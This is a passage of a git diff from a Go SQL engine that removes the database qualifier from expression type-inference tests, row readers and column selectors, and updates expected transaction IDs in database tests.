ErrInvalidTypes, }, { - exp: &AggColSelector{aggFn: "SUM", db: "db1", table: "mytable", col: "ft"}, + exp: &AggColSelector{aggFn: "SUM", table: "mytable", col: "ft"}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: Float64Type, expectedError: nil, }, { - exp: &AggColSelector{aggFn: "SUM", db: "db1", table: "mytable", col: "ft"}, + exp: &AggColSelector{aggFn: "SUM", table: "mytable", col: "ft"}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: BooleanType, expectedError: ErrInvalidTypes, @@ -166,11 +152,11 @@ func TestRequiresTypeColSelectorsValueExp(t *testing.T) { } for i, tc := range testCases { - err := tc.exp.requiresType(tc.requiredType, tc.cols, tc.params, tc.implicitDB, tc.implicitTable) + err := tc.exp.requiresType(tc.requiredType, tc.cols, tc.params, tc.implicitTable) require.ErrorIs(t, err, tc.expectedError, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { - it, err := tc.exp.inferType(tc.cols, params, tc.implicitDB, tc.implicitTable) + it, err := tc.exp.inferType(tc.cols, params, tc.implicitTable) require.NoError(t, err) require.Equal(t, tc.requiredType, it) } @@ -179,12 +165,12 @@ func TestRequiresTypeColSelectorsValueExp(t *testing.T) { func TestRequiresTypeNumExpValueExp(t *testing.T) { cols := make(map[string]ColDescriptor) - cols["(db1.mytable.id)"] = ColDescriptor{Type: IntegerType} - cols["(db1.mytable.title)"] = ColDescriptor{Type: VarcharType} - cols["(db1.mytable.active)"] = ColDescriptor{Type: BooleanType} - cols["(db1.mytable.payload)"] = ColDescriptor{Type: BLOBType} - cols["COUNT(db1.mytable.*)"] = ColDescriptor{Type: IntegerType} - cols["(db1.mytable.ft)"] = ColDescriptor{Type: Float64Type} + cols["(mytable.id)"] = ColDescriptor{Type: IntegerType} + cols["(mytable.title)"] = ColDescriptor{Type: VarcharType} + cols["(mytable.active)"] = ColDescriptor{Type: BooleanType} + cols["(mytable.payload)"] = ColDescriptor{Type: BLOBType} + cols["COUNT(mytable.*)"] = ColDescriptor{Type: IntegerType} + cols["(mytable.ft)"] = ColDescriptor{Type: Float64Type} params := make(map[string]SQLValueType) @@ -192,7 +178,6 @@ func TestRequiresTypeNumExpValueExp(t *testing.T) { exp ValueExp cols map[string]ColDescriptor params map[string]SQLValueType - implicitDB string implicitTable string requiredType SQLValueType expectedError error @@ -201,7 +186,6 @@ func TestRequiresTypeNumExpValueExp(t *testing.T) { exp: &NumExp{op: ADDOP, left: &Integer{val: 0}, right: &Integer{val: 0}}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: IntegerType, expectedError: nil, @@ -210,7 +194,6 @@ func TestRequiresTypeNumExpValueExp(t *testing.T) { exp: &NumExp{op: ADDOP, left: &Integer{val: 0}, right: &Integer{val: 0}}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: BooleanType, expectedError: ErrInvalidTypes, @@ -219,7 +202,6 @@ func TestRequiresTypeNumExpValueExp(t *testing.T) { exp: &NumExp{op: ADDOP, left: &Bool{val: true}, right: &Integer{val: 0}}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: IntegerType, expectedError: ErrInvalidTypes, @@ -228,7 +210,6 @@ func TestRequiresTypeNumExpValueExp(t *testing.T) { exp: &NumExp{op: ADDOP, left: &Integer{val: 0}, right: &Bool{val: true}}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: IntegerType, expectedError: ErrInvalidTypes, @@ -237,7 +218,6 @@ func TestRequiresTypeNumExpValueExp(t *testing.T) { exp: &NumExp{op: ADDOP, left: &Integer{val: 0}, right: &Bool{val: true}}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: Float64Type, expectedError: ErrInvalidTypes, @@ -245,11 +225,11 @@ func TestRequiresTypeNumExpValueExp(t *testing.T) { } for i, tc := range testCases { - err := tc.exp.requiresType(tc.requiredType, tc.cols, tc.params, tc.implicitDB, tc.implicitTable) + err := tc.exp.requiresType(tc.requiredType, tc.cols, tc.params, tc.implicitTable) require.ErrorIs(t, err, tc.expectedError, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { - it, err := tc.exp.inferType(tc.cols, params, tc.implicitDB, tc.implicitTable) + it, err := tc.exp.inferType(tc.cols, params, tc.implicitTable) require.NoError(t, err) require.Equal(t, tc.requiredType, it) } @@ -258,12 +238,12 @@ func TestRequiresTypeNumExpValueExp(t *testing.T) { func TestRequiresTypeSimpleValueExp(t *testing.T) { cols := make(map[string]ColDescriptor) - cols["(db1.mytable.id)"] = ColDescriptor{Type: IntegerType} - cols["(db1.mytable.title)"] = ColDescriptor{Type: VarcharType} - cols["(db1.mytable.active)"] = ColDescriptor{Type: BooleanType} - cols["(db1.mytable.payload)"] = ColDescriptor{Type: BLOBType} - cols["COUNT(db1.mytable.*)"] = ColDescriptor{Type: IntegerType} - cols["(db1.mytable.ft)"] = ColDescriptor{Type: Float64Type} + cols["(mytable.id)"] = ColDescriptor{Type: IntegerType} + cols["(mytable.title)"] = ColDescriptor{Type: VarcharType} + cols["(mytable.active)"] = ColDescriptor{Type: BooleanType} + cols["(mytable.payload)"] = ColDescriptor{Type: BLOBType} + cols["COUNT(mytable.*)"] = ColDescriptor{Type: IntegerType} + cols["(mytable.ft)"] = ColDescriptor{Type: Float64Type} params := make(map[string]SQLValueType) @@ -271,7 +251,6 @@ func TestRequiresTypeSimpleValueExp(t *testing.T) { exp ValueExp cols map[string]ColDescriptor params map[string]SQLValueType - implicitDB string implicitTable string requiredType SQLValueType expectedError error @@ -280,7 +259,6 @@ func TestRequiresTypeSimpleValueExp(t *testing.T) { exp: &NullValue{t: AnyType}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: VarcharType, expectedError: nil, @@ -289,7 +267,6 @@ func TestRequiresTypeSimpleValueExp(t *testing.T) { exp: &NullValue{t: VarcharType}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: VarcharType, expectedError: nil, @@ -298,7 +275,6 @@ func TestRequiresTypeSimpleValueExp(t *testing.T) { exp: &NullValue{t: BooleanType}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: VarcharType, expectedError: ErrInvalidTypes, @@ -307,7 +283,6 @@ func TestRequiresTypeSimpleValueExp(t *testing.T) { exp: &Integer{}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: IntegerType, expectedError: nil, @@ -316,7 +291,6 @@ func TestRequiresTypeSimpleValueExp(t *testing.T) { exp: &Integer{}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: VarcharType, expectedError: ErrInvalidTypes, @@ -325,7 +299,6 @@ func TestRequiresTypeSimpleValueExp(t *testing.T) { exp: &Varchar{}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: VarcharType, expectedError: nil, @@ -334,7 +307,6 @@ func TestRequiresTypeSimpleValueExp(t *testing.T) { exp: &Varchar{}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: BooleanType, expectedError: ErrInvalidTypes, @@ -343,7 +315,6 @@ func TestRequiresTypeSimpleValueExp(t *testing.T) { exp: &Bool{}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: BooleanType, expectedError: nil, @@ -352,7 +323,6 @@ func TestRequiresTypeSimpleValueExp(t *testing.T) { exp: &Bool{}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: IntegerType, expectedError: ErrInvalidTypes, @@ -361,7 +331,6 @@ func TestRequiresTypeSimpleValueExp(t *testing.T) { exp: &Blob{}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: BLOBType, expectedError: nil, @@ -370,7 +339,6 @@ func TestRequiresTypeSimpleValueExp(t *testing.T) { exp: &Blob{}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: IntegerType, expectedError: ErrInvalidTypes, @@ -379,7 +347,6 @@ func TestRequiresTypeSimpleValueExp(t *testing.T) { exp: &NotBoolExp{exp: &Bool{val: true}}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: BooleanType, expectedError: nil, @@ -388,7 +355,6 @@ func TestRequiresTypeSimpleValueExp(t *testing.T) { exp: &NotBoolExp{exp: &Bool{val: true}}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: IntegerType, expectedError: ErrInvalidTypes, @@ -397,7 +363,6 @@ func TestRequiresTypeSimpleValueExp(t *testing.T) { exp: &NotBoolExp{exp: &Varchar{val: "abc"}}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: BooleanType, expectedError: ErrInvalidTypes, @@ -406,7 +371,6 @@ func TestRequiresTypeSimpleValueExp(t *testing.T) { exp: &LikeBoolExp{val: &ColSelector{col: "col1"}, pattern: &Varchar{val: ""}}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: BooleanType, expectedError: nil, @@ -415,7 +379,6 @@ func TestRequiresTypeSimpleValueExp(t *testing.T) { exp: &LikeBoolExp{val: &ColSelector{col: "col1"}, pattern: &Varchar{val: ""}}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: VarcharType, expectedError: ErrInvalidTypes, @@ -424,7 +387,6 @@ func TestRequiresTypeSimpleValueExp(t *testing.T) { exp: &LikeBoolExp{}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: VarcharType, expectedError: ErrInvalidCondition, @@ -433,7 +395,6 @@ func TestRequiresTypeSimpleValueExp(t *testing.T) { exp: &LikeBoolExp{val: &ColSelector{col: "ft"}, pattern: &Varchar{val: ""}}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: Float64Type, expectedError: ErrInvalidTypes, @@ -441,11 +402,11 @@ func TestRequiresTypeSimpleValueExp(t *testing.T) { } for i, tc := range testCases { - err := tc.exp.requiresType(tc.requiredType, tc.cols, tc.params, tc.implicitDB, tc.implicitTable) + err := tc.exp.requiresType(tc.requiredType, tc.cols, tc.params, tc.implicitTable) require.ErrorIs(t, err, tc.expectedError, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { - it, err := tc.exp.inferType(tc.cols, params, tc.implicitDB, tc.implicitTable) + it, err := tc.exp.inferType(tc.cols, params, tc.implicitTable) require.NoError(t, err) require.Equal(t, tc.requiredType, it) } @@ -454,12 +415,12 @@ func TestRequiresTypeSimpleValueExp(t *testing.T) { func TestRequiresTypeSysFnValueExp(t *testing.T) { cols := make(map[string]ColDescriptor) - cols["(db1.mytable.id)"] = ColDescriptor{Type: IntegerType} - cols["(db1.mytable.title)"] = ColDescriptor{Type: VarcharType} - cols["(db1.mytable.active)"] = ColDescriptor{Type: BooleanType} - cols["(db1.mytable.payload)"] = ColDescriptor{Type: BLOBType} - cols["COUNT(db1.mytable.*)"] = ColDescriptor{Type: IntegerType} - cols["(db1.mytable.ft)"] = ColDescriptor{Type: Float64Type} + cols["(mytable.id)"] = ColDescriptor{Type: IntegerType} + cols["(mytable.title)"] = ColDescriptor{Type: VarcharType} + cols["(mytable.active)"] = ColDescriptor{Type: BooleanType} + cols["(mytable.payload)"] = ColDescriptor{Type: BLOBType} + cols["COUNT(mytable.*)"] = ColDescriptor{Type: IntegerType} + cols["(mytable.ft)"] = ColDescriptor{Type: Float64Type} params := make(map[string]SQLValueType) @@ -467,7 +428,6 @@ func TestRequiresTypeSysFnValueExp(t *testing.T) { exp ValueExp cols map[string]ColDescriptor params map[string]SQLValueType - implicitDB string implicitTable string requiredType SQLValueType expectedError error @@ -476,7 +436,6 @@ func TestRequiresTypeSysFnValueExp(t *testing.T) { exp: &FnCall{fn: "NOW"}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: TimestampType, expectedError: nil, @@ -485,7 +444,6 @@ func TestRequiresTypeSysFnValueExp(t *testing.T) { exp: &FnCall{fn: "NOW"}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: BooleanType, expectedError: ErrInvalidTypes, @@ -494,7 +452,6 @@ func TestRequiresTypeSysFnValueExp(t *testing.T) { exp: &FnCall{fn: "LOWER"}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: VarcharType, expectedError: ErrIllegalArguments, @@ -503,7 +460,6 @@ func TestRequiresTypeSysFnValueExp(t *testing.T) { exp: &FnCall{fn: "LOWER"}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: Float64Type, expectedError: ErrIllegalArguments, @@ -511,11 +467,11 @@ func TestRequiresTypeSysFnValueExp(t *testing.T) { } for i, tc := range testCases { - err := tc.exp.requiresType(tc.requiredType, tc.cols, tc.params, tc.implicitDB, tc.implicitTable) + err := tc.exp.requiresType(tc.requiredType, tc.cols, tc.params, tc.implicitTable) require.ErrorIs(t, err, tc.expectedError, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { - it, err := tc.exp.inferType(tc.cols, params, tc.implicitDB, tc.implicitTable) + it, err := tc.exp.inferType(tc.cols, params, tc.implicitTable) require.NoError(t, err) require.Equal(t, tc.requiredType, it) } @@ -524,12 +480,12 @@ func TestRequiresTypeSysFnValueExp(t *testing.T) { func TestRequiresTypeBinValueExp(t *testing.T) { cols := make(map[string]ColDescriptor) - cols["(db1.mytable.id)"] = ColDescriptor{Type: IntegerType} - cols["(db1.mytable.title)"] = ColDescriptor{Type: VarcharType} - cols["(db1.mytable.active)"] = ColDescriptor{Type: BooleanType} - cols["(db1.mytable.payload)"] = ColDescriptor{Type: BLOBType} - cols["COUNT(db1.mytable.*)"] = ColDescriptor{Type: IntegerType} - cols["(db1.mytable.ft)"] = ColDescriptor{Type: Float64Type} + cols["(mytable.id)"] = ColDescriptor{Type: IntegerType} + cols["(mytable.title)"] = ColDescriptor{Type: VarcharType} + cols["(mytable.active)"] = ColDescriptor{Type: BooleanType} + cols["(mytable.payload)"] = ColDescriptor{Type: BLOBType} + cols["COUNT(mytable.*)"] = ColDescriptor{Type: IntegerType} + cols["(mytable.ft)"] = ColDescriptor{Type: Float64Type} params := make(map[string]SQLValueType) @@ -537,7 +493,6 @@ func TestRequiresTypeBinValueExp(t *testing.T) { exp ValueExp cols map[string]ColDescriptor params map[string]SQLValueType - implicitDB string implicitTable string requiredType SQLValueType expectedError error @@ -546,7 +501,6 @@ func TestRequiresTypeBinValueExp(t *testing.T) { exp: &BinBoolExp{op: AND, left: &Bool{val: true}, right: &Bool{val: false}}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: BooleanType, expectedError: nil, @@ -555,7 +509,6 @@ func TestRequiresTypeBinValueExp(t *testing.T) { exp: &BinBoolExp{op: AND, left: &Bool{val: true}, right: &Bool{val: false}}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: IntegerType, expectedError: ErrInvalidTypes, @@ -564,7 +517,6 @@ func TestRequiresTypeBinValueExp(t *testing.T) { exp: &BinBoolExp{op: AND, left: &Integer{val: 1}, right: &Bool{val: false}}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: IntegerType, expectedError: ErrInvalidTypes, @@ -573,7 +525,6 @@ func TestRequiresTypeBinValueExp(t *testing.T) { exp: &BinBoolExp{op: AND, left: &Bool{val: false}, right: &Integer{val: 1}}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: IntegerType, expectedError: ErrInvalidTypes, @@ -582,7 +533,6 @@ func TestRequiresTypeBinValueExp(t *testing.T) { exp: &CmpBoolExp{op: LE, left: &Integer{val: 1}, right: &Integer{val: 1}}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: BooleanType, expectedError: nil, @@ -591,7 +541,6 @@ func TestRequiresTypeBinValueExp(t *testing.T) { exp: &CmpBoolExp{op: LE, left: &Integer{val: 1}, right: &Integer{val: 1}}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: IntegerType, expectedError: ErrInvalidTypes, @@ -600,7 +549,6 @@ func TestRequiresTypeBinValueExp(t *testing.T) { exp: &CmpBoolExp{op: LE, left: &Integer{val: 1}, right: &Bool{val: false}}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: BooleanType, expectedError: ErrInvalidTypes, @@ -609,7 +557,6 @@ func TestRequiresTypeBinValueExp(t *testing.T) { exp: &CmpBoolExp{op: LE, left: &Bool{val: false}, right: &Integer{val: 1}}, cols: cols, params: params, - implicitDB: "db1", implicitTable: "mytable", requiredType: BooleanType, expectedError: ErrInvalidTypes, @@ -617,11 +564,11 @@ func TestRequiresTypeBinValueExp(t *testing.T) { } for i, tc := range testCases { - err := tc.exp.requiresType(tc.requiredType, tc.cols, tc.params, tc.implicitDB, tc.implicitTable) + err := tc.exp.requiresType(tc.requiredType, tc.cols, tc.params, tc.implicitTable) require.ErrorIs(t, err, tc.expectedError, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { - it, err := tc.exp.inferType(tc.cols, params, tc.implicitDB, tc.implicitTable) + it, err := tc.exp.inferType(tc.cols, params, tc.implicitTable) require.NoError(t, err) require.Equal(t, tc.requiredType, it) } @@ -631,20 +578,20 @@ func TestRequiresTypeBinValueExp(t *testing.T) { func TestYetUnsupportedExistsBoolExp(t *testing.T) { exp := &ExistsBoolExp{} - _, err := exp.inferType(nil, nil, "", "") + _, err := exp.inferType(nil, nil, "") require.Error(t, err) - err = exp.requiresType(BooleanType, nil, nil, "", "") + err = exp.requiresType(BooleanType, nil, nil, "") require.Error(t, err) rexp, err := exp.substitute(nil) require.NoError(t, err) require.Equal(t, exp, rexp) - _, err = exp.reduce(nil, nil, "", "") + _, err = exp.reduce(nil, nil, "") require.Error(t, err) - require.Equal(t, exp, exp.reduceSelectors(nil, "", "")) + require.Equal(t, exp, exp.reduceSelectors(nil, "")) require.False(t, exp.isConstant()) @@ -654,20 +601,20 @@ func TestYetUnsupportedExistsBoolExp(t *testing.T) { func TestYetUnsupportedInSubQueryExp(t *testing.T) { exp := &InSubQueryExp{} - _, err := exp.inferType(nil, nil, "", "") + _, err := exp.inferType(nil, nil, "") require.ErrorIs(t, err, ErrNoSupported) - err = exp.requiresType(BooleanType, nil, nil, "", "") + err = exp.requiresType(BooleanType, nil, nil, "") require.ErrorIs(t, err, ErrNoSupported) rexp, err := exp.substitute(nil) require.NoError(t, err) require.Equal(t, exp, rexp) - _, err = exp.reduce(nil, nil, "", "") + _, err = exp.reduce(nil, nil, "") require.ErrorIs(t, err, ErrNoSupported) - require.Equal(t, exp, exp.reduceSelectors(nil, "", "")) + require.Equal(t, exp, exp.reduceSelectors(nil, "")) require.False(t, exp.isConstant()) @@ -677,39 +624,39 @@ func TestYetUnsupportedInSubQueryExp(t *testing.T) { func TestLikeBoolExpEdgeCases(t *testing.T) { exp := &LikeBoolExp{} - _, err := exp.inferType(nil, nil, "", "") + _, err := exp.inferType(nil, nil, "") require.ErrorIs(t, err, ErrInvalidCondition) - err = exp.requiresType(BooleanType, nil, nil, "", "") + err = exp.requiresType(BooleanType, nil, nil, "") require.ErrorIs(t, err, ErrInvalidCondition) _, err = exp.substitute(nil) require.ErrorIs(t, err, ErrInvalidCondition) - _, err = exp.reduce(nil, nil, "", "") + _, err = exp.reduce(nil, nil, "") require.ErrorIs(t, err, ErrInvalidCondition) - require.Equal(t, exp, exp.reduceSelectors(nil, "", "")) + require.Equal(t, exp, exp.reduceSelectors(nil, "")) require.False(t, exp.isConstant()) require.Nil(t, exp.selectorRanges(nil, "", nil, nil)) t.Run("like expression with invalid types", func(t *testing.T) { exp := &LikeBoolExp{val: &ColSelector{col: "col1"}, pattern: &Integer{}} - _, err = exp.inferType(nil, nil, "", "") + _, err = exp.inferType(nil, nil, "") require.ErrorIs(t, err, ErrInvalidTypes) - err = exp.requiresType(BooleanType, nil, nil, "", "") + err = exp.requiresType(BooleanType, nil, nil, "") require.ErrorIs(t, err, ErrInvalidTypes) v := &NullValue{} row := &Row{ ValuesByPosition: []TypedValue{v}, - ValuesBySelector: map[string]TypedValue{"(db1.table1.col1)": v}, + ValuesBySelector: map[string]TypedValue{"(table1.col1)": v}, } - _, err = exp.reduce(nil, row, "db1", "table1") + _, err = exp.reduce(nil, row, "table1") require.ErrorIs(t, err, ErrInvalidTypes) }) @@ -811,21 +758,21 @@ func TestTimestmapType(t *testing.T) { require.Equal(t, -1, cmp) }) - it, err := ts.inferType(map[string]ColDescriptor{}, map[string]string{}, "", "") + it, err := ts.inferType(map[string]ColDescriptor{}, map[string]string{}, "") require.NoError(t, err) require.Equal(t, TimestampType, it) - err = ts.requiresType(TimestampType, map[string]ColDescriptor{}, map[string]string{}, "", "") + err = ts.requiresType(TimestampType, map[string]ColDescriptor{}, map[string]string{}, "") require.NoError(t, err) - err = ts.requiresType(IntegerType, map[string]ColDescriptor{}, map[string]string{}, "", "") + err = ts.requiresType(IntegerType, map[string]ColDescriptor{}, map[string]string{}, "") require.ErrorIs(t, err, ErrInvalidTypes) v, err := ts.substitute(map[string]interface{}{}) require.NoError(t, err) require.Equal(t, ts, v) - v = ts.reduceSelectors(&Row{}, "", "") + v = ts.reduceSelectors(&Row{}, "") require.Equal(t, ts, v) err = ts.selectorRanges(&Table{}, "", map[string]interface{}{}, map[uint32]*typedValueRange{}) @@ -995,21 +942,21 @@ func TestFloat64Type(t *testing.T) { require.Equal(t, -1, cmp) }) - it, err := ts.inferType(map[string]ColDescriptor{}, map[string]string{}, "", "") + it, err := ts.inferType(map[string]ColDescriptor{}, map[string]string{}, "") require.NoError(t, err) require.Equal(t, Float64Type, it) - err = ts.requiresType(Float64Type, map[string]ColDescriptor{}, map[string]string{}, "", "") + err = ts.requiresType(Float64Type, map[string]ColDescriptor{}, map[string]string{}, "") require.NoError(t, err) - err = ts.requiresType(IntegerType, map[string]ColDescriptor{}, map[string]string{}, "", "") + err = ts.requiresType(IntegerType, map[string]ColDescriptor{}, map[string]string{}, "") require.ErrorIs(t, err, ErrInvalidTypes) v, err := ts.substitute(map[string]interface{}{}) require.NoError(t, err) require.Equal(t, ts, v) - v = ts.reduceSelectors(&Row{}, "", "") + v = ts.reduceSelectors(&Row{}, "") require.Equal(t, ts, v) err = ts.selectorRanges(&Table{}, "", map[string]interface{}{}, map[uint32]*typedValueRange{}) diff --git a/embedded/sql/union_row_reader.go b/embedded/sql/union_row_reader.go index 88e79cd6f0..7ed2031591 100644 --- a/embedded/sql/union_row_reader.go +++ b/embedded/sql/union_row_reader.go @@ -73,10 +73,6 @@ func (ur *unionRowReader) Tx() *SQLTx { return ur.rowReaders[0].Tx() } -func (ur *unionRowReader) Database() string { - return ur.rowReaders[0].Database() -} - func (ur *unionRowReader) TableAlias() string { return "" } diff --git a/embedded/sql/union_row_reader_test.go b/embedded/sql/union_row_reader_test.go index b66dd6b316..8ee4b32c6b 100644 --- a/embedded/sql/union_row_reader_test.go +++ b/embedded/sql/union_row_reader_test.go @@ -46,9 +46,6 @@ func TestUnionRowReader(t *testing.T) { require.NoError(t, err) require.NotNil(t, rowReader) - require.NotNil(t, rowReader.Database()) - require.Equal(t, "db1", rowReader.Database()) - require.Equal(t, "", rowReader.TableAlias()) require.Nil(t, rowReader.OrderBy()) diff --git a/embedded/sql/values_row_reader.go b/embedded/sql/values_row_reader.go index 0493350612..1ef828abbb 100644 --- a/embedded/sql/values_row_reader.go +++ b/embedded/sql/values_row_reader.go @@ -26,7 +26,6 @@ type valuesRowReader struct { colsByPos []ColDescriptor colsBySel map[string]ColDescriptor - dbAlias string tableAlias string values [][]ValueExp @@ -38,15 +37,11 @@ type valuesRowReader struct { closed bool } -func newValuesRowReader(tx *SQLTx, params map[string]interface{}, cols []ColDescriptor, dbAlias, tableAlias string, values [][]ValueExp) (*valuesRowReader, error) { +func newValuesRowReader(tx *SQLTx, params map[string]interface{}, cols []ColDescriptor, tableAlias string, values [][]ValueExp) (*valuesRowReader, error) { if len(cols) == 0 { return nil, fmt.Errorf("%w: empty column list", ErrIllegalArguments) } - if dbAlias == "" { - return nil, fmt.Errorf("%w: db alias is mandatory", ErrIllegalArguments) - } - if tableAlias == "" { return nil, fmt.Errorf("%w: table alias is mandatory", ErrIllegalArguments) } @@ -55,15 +50,14 @@ func newValuesRowReader(tx *SQLTx, params map[string]interface{}, cols []ColDesc colsBySel := make(map[string]ColDescriptor, len(cols)) for i, c := range cols { - if c.AggFn != "" || c.Database != "" || c.Table != "" { + if c.AggFn != "" || c.Table != "" { return nil, fmt.Errorf("%w: only column name may be specified", ErrIllegalArguments) } col := ColDescriptor{ - Database: dbAlias, - Table: tableAlias, - Column: c.Column, - Type: c.Type, + Table: tableAlias, + Column: c.Column, + Type: c.Type, } colsByPos[i] = col @@ -81,7 +75,6 @@ func newValuesRowReader(tx *SQLTx, params map[string]interface{}, cols []ColDesc params: params, colsByPos: colsByPos, colsBySel: colsBySel, - dbAlias: dbAlias, tableAlias: tableAlias, values: values, }, nil @@ -95,14 +88,6 @@ func (vr *valuesRowReader) Tx() *SQLTx { return vr.tx } -func (vr *valuesRowReader) Database() string { - if vr.dbAlias == "" { - return vr.tx.currentDB.name - } - - return vr.dbAlias -} - func (vr *valuesRowReader) TableAlias() string { return vr.tableAlias } @@ -130,7 +115,7 @@ func (vr *valuesRowReader) colsBySelector(ctx context.Context) (map[string]ColDe func (vr *valuesRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error { for _, vs := range vr.values { for _, v := range vs { - v.inferType(vr.colsBySel, params, vr.dbAlias, vr.tableAlias) + v.inferType(vr.colsBySel, params, vr.tableAlias) } } return nil @@ -152,12 +137,12 @@ func (vr *valuesRowReader) Read(ctx context.Context) (*Row, error) { return nil, err } - rv, err := sv.reduce(vr.tx, nil, vr.dbAlias, vr.tableAlias) + rv, err := sv.reduce(vr.tx, nil, vr.tableAlias) if err != nil { return nil, err } - err = rv.requiresType(vr.colsByPos[i].Type, vr.colsBySel, nil, vr.dbAlias, vr.tableAlias) + err = rv.requiresType(vr.colsByPos[i].Type, vr.colsBySel, nil, vr.tableAlias) if err != nil { return nil, err } diff --git a/embedded/sql/values_row_reader_test.go b/embedded/sql/values_row_reader_test.go index 742782bfbf..f2be894ad6 100644 --- a/embedded/sql/values_row_reader_test.go +++ b/embedded/sql/values_row_reader_test.go @@ -24,23 +24,23 @@ import ( ) func TestValuesRowReader(t *testing.T) { - _, err := newValuesRowReader(nil, nil, nil, "", "", nil) + _, err := newValuesRowReader(nil, nil, nil, "", nil) require.ErrorIs(t, err, ErrIllegalArguments) cols := []ColDescriptor{ {Column: "col1"}, } - _, err = newValuesRowReader(nil, nil, cols, "", "", nil) + _, err = newValuesRowReader(nil, nil, cols, "", nil) require.ErrorIs(t, err, ErrIllegalArguments) - _, err = newValuesRowReader(nil, nil, cols, "db1", "", nil) + _, err = newValuesRowReader(nil, nil, cols, "", nil) require.ErrorIs(t, err, ErrIllegalArguments) - _, err = newValuesRowReader(nil, nil, cols, "db1", "table1", nil) + _, err = newValuesRowReader(nil, nil, cols, "table1", nil) require.NoError(t, err) - _, err = newValuesRowReader(nil, nil, cols, "db1", "table1", + _, err = newValuesRowReader(nil, nil, cols, "table1", [][]ValueExp{ { &Bool{val: true}, @@ -52,7 +52,7 @@ func TestValuesRowReader(t *testing.T) { _, err = newValuesRowReader(nil, nil, []ColDescriptor{ {Table: "table1", Column: "col1"}, - }, "", "", nil) + }, "", nil) require.ErrorIs(t, err, ErrIllegalArguments) values := [][]ValueExp{ @@ -65,10 +65,8 @@ func TestValuesRowReader(t *testing.T) { "param1": 1, } - rowReader, err := newValuesRowReader(nil, params, cols, "db1", "table1", values) + rowReader, err := newValuesRowReader(nil, params, cols, "table1", values) require.NoError(t, err) - - require.Equal(t, "db1", rowReader.Database()) require.Nil(t, rowReader.OrderBy()) require.Nil(t, rowReader.ScanSpecs()) diff --git a/pkg/database/all_ops_test.go b/pkg/database/all_ops_test.go index c796f81963..a5a8ffb8d8 100644 --- a/pkg/database/all_ops_test.go +++ b/pkg/database/all_ops_test.go @@ -153,7 +153,7 @@ func TestSetBatch(t *testing.T) { txhdr, err := db.Set(context.Background(), &schema.SetRequest{KVs: kvList}) require.NoError(t, err) - require.Equal(t, uint64(b+2), txhdr.Id) + require.Equal(t, uint64(b+1), txhdr.Id) for i := 0; i < batchSize; i++ { key := []byte(strconv.FormatUint(uint64(i), 10)) @@ -161,7 +161,7 @@ func TestSetBatch(t *testing.T) { entry, err := db.Get(context.Background(), &schema.KeyRequest{Key: key, SinceTx: txhdr.Id}) require.NoError(t, err) require.Equal(t, value, entry.Value) - require.Equal(t, uint64(b+2), entry.Tx) + require.Equal(t, uint64(b+1), entry.Tx) vitem, err := db.VerifiableGet(context.Background(), &schema.VerifiableGetRequest{KeyRequest: &schema.KeyRequest{Key: key}}) //no prev root require.NoError(t, err) @@ -272,7 +272,7 @@ func TestExecAllOps(t *testing.T) { idx, err := db.ExecAll(context.Background(), &schema.ExecAllRequest{Operations: atomicOps}) require.NoError(t, err) - require.Equal(t, uint64(b+2), idx.Id) + require.Equal(t, uint64(b+1), idx.Id) } zScanOpt := &schema.ZScanRequest{ @@ -332,7 +332,7 @@ func TestExecAllOpsZAddOnMixedAlreadyPersitedNotPersistedItems(t *testing.T) { index, err := db.ExecAll(context.Background(), aOps) require.NoError(t, err) - require.Equal(t, uint64(3), index.Id) + require.Equal(t, uint64(2), index.Id) list, err := db.ZScan(context.Background(), &schema.ZScanRequest{ Set: []byte(`mySet`), @@ -639,7 +639,7 @@ func TestStore_ExecAllOpsConcurrent(t *testing.T) { zList, err := db.ZScan(context.Background(), &schema.ZScanRequest{ 